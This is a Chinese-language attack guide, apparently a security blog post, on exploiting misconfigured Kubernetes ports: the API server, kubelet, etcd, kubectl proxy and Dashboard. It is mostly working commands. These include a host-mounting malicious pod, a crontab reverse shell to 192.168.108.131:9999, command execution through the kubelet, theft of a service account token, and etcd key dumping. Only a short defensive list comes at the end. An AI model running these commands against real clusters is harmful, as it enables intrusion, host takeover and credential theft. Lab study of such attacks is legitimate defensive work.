云上攻防(二)-端口层面攻击
字数 1431 2025-08-23 18:31:17

Kubernetes端口层面攻击与利用全面指南

1. Kubernetes默认端口概览

Kubernetes集群中各组件的默认端口如下:

组件名称 默认端口
API Server 8080/6443
Dashboard 8001
Kubelet 10250/10255
etcd 2379
kube-proxy 8001
Docker 2375
kube-scheduler 10251
kube-controller-manager 10252

2. 端口扫描与信息收集

2.1 使用fscan进行端口扫描

fscan.exe -h 192.168.108.102,192.168.108.100,192.168.108.101 -p 1-65535 -np -nopoc -nobr

2.2 使用nmap进行端口扫描

nmap -p 1-65535 192.168.108.100-102

3. API Server攻击 (8080/6443端口)

3.1 8080端口未授权访问

攻击条件

  • 旧版本K8s默认开启8080端口
  • 新版本需手动配置:
    # /etc/kubernets/manifests/kube-apiserver.yaml
    - --insecure-port=8080
    - --insecure-bind-address=0.0.0.0
    
    然后重启服务:
    systemctl daemon-reload
    systemctl restart kubelet
    

利用方法

kubectl -s 192.168.108.100:8080 get nodes

3.2 创建恶意Pod挂载宿主机目录

YAML示例

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

利用步骤

  1. 创建Pod:
    kubectl -s 192.168.108.100:8080 create -f malicious-pod.yaml
    
  2. 进入Pod写入定时任务:
    kubectl -s 192.168.108.100:8080 --namespace=default exec -it test bash
    echo -e "root bash -i >& /dev/tcp/192.168.108.131/9999 0>&1\n" >> /mnt/etc/crontab
    

3.3 6443端口利用

攻击条件

  • 配置不当导致匿名用户拥有管理员权限:
    kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
    

利用方法

kubectl --insecure-skip-tls-verify -s https://192.168.108.100:6443 get node

4. Kubelet攻击 (10250/10255端口)

4.1 配置修改

修改/var/lib/kubelet/config.yaml

authentication:
  anonymous:
    enabled: true
authorization:
  mode: AlwaysAllow

然后重启:

systemctl restart kubelet

4.2 利用方法

  1. 获取运行中的Pod信息:
    curl -k https://192.168.108.102:10250/runningpods/
    
  2. 在容器中执行命令:
    curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=id"
    
  3. 获取Service Account Token:
    curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
    
  4. 使用Token访问API:
    kubectl --insecure-skip-tls-verify=true --server="https://192.168.108.100:6443" --token="<TOKEN>" get pods
    

5. etcd攻击 (2379端口)

5.1 配置修改

修改/etc/kubernetes/manifests/etcd.yaml,将--client-cert-auth=true改为false

5.2 利用方法

etcdctl --endpoints=https://192.168.108.100:2379 get / --prefix --keys-only

带证书访问:

etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.108.100:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health

6. Kubectl Proxy利用

启动代理:

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=9999

7. Dashboard攻击 (8001端口)

7.1 安装Dashboard

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-rc7/aio/deploy/recommended.yaml

7.2 修改配置

  1. 修改命名空间:
    sed -i '/namespace/ s/kubernetes-dashboard/kube-system/g' recommended.yaml
    
  2. 添加以下配置:
    spec:
      type: NodePort
      ports:
      - port: 443
        targetPort: 8443
        nodePort: 30001
    

8. 防御建议

  1. 关闭不必要的端口和服务
  2. 实施严格的RBAC权限控制
  3. 使用网络策略限制端口访问
  4. 定期更新Kubernetes组件
  5. 启用TLS加密通信
  6. 监控异常API调用和端口扫描行为

9. 参考工具

  1. fscan - 内网综合扫描工具
  2. CDK - Kubernetes渗透测试工具
  3. etcdctl - etcd命令行客户端
  4. kubectl - Kubernetes官方命令行工具

通过全面了解Kubernetes各端口的攻击面,安全团队可以更好地评估集群安全性并实施针对性的防御措施。

Kubernetes端口层面攻击与利用全面指南 1. Kubernetes默认端口概览 Kubernetes集群中各组件的默认端口如下: | 组件名称 | 默认端口 | |--------------------------|-----------------------| | API Server | 8080/6443 | | Dashboard | 8001 | | Kubelet | 10250/10255 | | etcd | 2379 | | kube-proxy | 8001 | | Docker | 2375 | | kube-scheduler | 10251 | | kube-controller-manager | 10252 | 2. 端口扫描与信息收集 2.1 使用fscan进行端口扫描 2.2 使用nmap进行端口扫描 3. API Server攻击 (8080/6443端口) 3.1 8080端口未授权访问 攻击条件 : 旧版本K8s默认开启8080端口 新版本需手动配置: 然后重启服务: 利用方法 : 3.2 创建恶意Pod挂载宿主机目录 YAML示例 : 利用步骤 : 创建Pod: 进入Pod写入定时任务: 3.3 6443端口利用 攻击条件 : 配置不当导致匿名用户拥有管理员权限: 利用方法 : 4. Kubelet攻击 (10250/10255端口) 4.1 配置修改 修改 /var/lib/kubelet/config.yaml : 然后重启: 4.2 利用方法 获取运行中的Pod信息: 在容器中执行命令: 获取Service Account Token: 使用Token访问API: 5. etcd攻击 (2379端口) 5.1 配置修改 修改 /etc/kubernetes/manifests/etcd.yaml ,将 --client-cert-auth=true 改为 false 5.2 利用方法 带证书访问: 6. Kubectl Proxy利用 启动代理: 7. Dashboard攻击 (8001端口) 7.1 安装Dashboard 7.2 修改配置 修改命名空间: 添加以下配置: 8. 防御建议 关闭不必要的端口和服务 实施严格的RBAC权限控制 使用网络策略限制端口访问 定期更新Kubernetes组件 启用TLS加密通信 监控异常API调用和端口扫描行为 9. 参考工具 fscan - 内网综合扫描工具 CDK - Kubernetes渗透测试工具 etcdctl - etcd命令行客户端 kubectl - Kubernetes官方命令行工具 通过全面了解Kubernetes各端口的攻击面,安全团队可以更好地评估集群安全性并实施针对性的防御措施。